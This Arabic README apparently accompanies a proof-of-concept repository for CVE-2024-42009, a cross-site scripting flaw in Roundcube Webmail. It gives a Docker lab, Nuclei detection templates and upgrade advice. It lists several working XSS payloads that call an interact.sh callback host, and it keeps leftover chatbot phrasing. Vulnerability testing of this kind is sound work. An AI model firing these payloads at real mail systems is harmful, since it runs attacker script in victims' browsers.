CVE-2024-42009 – XSS المنعكسة في Roundcube Webmail

📌 نظرة عامة

يحتوي هذا المستودع على قالب Nuclei وموارد داعمة لعرض والتحقق بأمان من CVE-2024-42009، وهي ثغرة XSS منعكسة حرجة في Roundcube Webmail. يكمن الخلل في الدالة message_body() في show.php، حيث تؤدي التعديلات بعد التعقيم إلى إزالة التعقيم وعرض غير آمن لمحتوى HTML مخصص لرسائل البريد الإلكتروني.

⚠️ هذا الـ PoC مخصص للأغراض التعليمية والاختبارات المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

🧠 ملخص الثغرة

CVE ID: CVE-2024-42009
الخطورة: حرجة (CVSS 9.8)
الإصدارات المتأثرة: Roundcube ≤ 1.6.7 و ≤ 1.5.7
الإصدارات المصححة: 1.6.8 و 1.5.8
المكوّن: message_body() في show.php
الأثر: تنفيذ JavaScript تعسفي عند عرض المستخدم لرسالة بريد إلكتروني خبيثة

🧪 استراتيجية الاكتشاف (للاستخدام المخبري فقط)

يستخدم هذا المستودع اكتشاف خارج النطاق (OOB) عبر Interactsh لتأكيد تنفيذ JavaScript في بيئة مخبرية خاضعة للتحكم.

الخطوات الرئيسية:

نشر نسخة Roundcube قابلة للاستغلال (مثلًا عبر Docker)
إرسال بريد إلكتروني مخصص يحتوي على وسم <body> يتضمن onanimationstart وإشارة إلى Interactsh
فتح البريد الإلكتروني في واجهة Roundcube
تأكيد استدعاء DNS/HTTP إلى نطاق Interactsh

🐳 الإعداد المخبري

استخدم ملف Docker Compose المرفق لتشغيل نسخة محلية من Roundcube مع MailHog (مستقبل SMTP) وMariaDB.

git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d

واجهة Roundcube: http://localhost:8080
واجهة MailHog: http://localhost:8025
طريقة تسجيل الدخول: حساب Google

⚠️ لا تستخدم حساب Google الخاص بك.

📁 محتويات المستودع

CVE-2024-42009-OOB.yaml – قالب Nuclei مع Interactsh واكتشاف خارج النطاق (OOB)
CVE-2024-42009.yaml – قالب Nuclei بدون Interactsh وOOB
docker-compose.yml – إعداد بيئة مخبرية لـ Roundcube Webmail
Images/ – لقطات شاشة تُظهر نتائج HTTP/DNS من Interactsh

🎥 عرض فيديو

يستعرض هذا الفيديو سلسلة الاستغلال الكاملة:

صياغة الحمولة (payload)
إرسالها عبر البريد الإلكتروني أو نقطة النهاية
تشغيل الثغرة
تأكيد الإشارة عبر Interactsh

(عرض فيديو)

لتضمين حمولات XSS هذه في ملف README الخاص بك بشكل مسؤول، يجب وضعها في قسم مُعلَّم بوضوح لأغراض تعليمية أو اختبارية. إليك هيكل مقترح:

🧪 أمثلة حمولات XSS (لأغراض الاختبار فقط)

⚠️ إخلاء مسؤولية: هذه الحمولات مخصصة للاستخدام التعليمي والاختبارات الأمنية المصرح بها فقط. لا تقم بنشرها على أنظمة دون إذن صريح.

<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">

<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/main/x" onerror="fetch('https://interact.sh/hit')">

<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>

<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>

<!-- JavaScript in iframe src -->

🧭 طريقة الاستخدام

استبدل https://interact.sh/hit بنقطة نهاية الاستماع الخاصة بك.
استخدمها في بيئات خاضعة للتحكم مثل المختبرات المحلية أو منصات CTF.
راقب نقطة النهاية الخاصة بك للطلبات الواردة للتحقق من التنفيذ.

🛡️ التخفيف

قم بترقية Roundcube إلى:

1.6.8 أو 1.5.8
تزيل هذه الإصدارات منطق ما بعد المعالجة القابل للاستغلال وتطبق تعقيمًا أكثر صرامة وتوجيهات CSP.

📜 المراجع

ممتاز — إليك قسم المراجع النظيف والاحترافي الذي يمكنك تضمينه في ملف README أو إرساله عبر البريد الإلكتروني لـ CVE-2024-42009. يستشهد بجميع المصادر التي أدرجتها، منسقة للوضوح والمصداقية:

📚 المراجع

مدخل NVD لـ CVE-2024-42009 – قائمة رسمية للثغرة مع درجة CVSS والإصدارات المتأثرة
مدونة SonarSource – رسائل البريد الحكومية في خطر – تحليل تقني معمق وتفصيل للاستغلال
GitHub PoC من DaniTheHack3r – استغلال مبني على Python مع مستمع بريد إلكتروني وحمولة تُطلق عبر الأنيميشن
GitHub PoC من Bhanunamikaze – حقن آلي للحمولة وسحب البيانات عبر مستمع HTTP
GitHub PoC من 0xbassiouny1337 – استغلال XSS مخزّن مع التقاط فوري للبريد الإلكتروني وفك ترميزه

CVE-2024-42009

الأكثر شعبية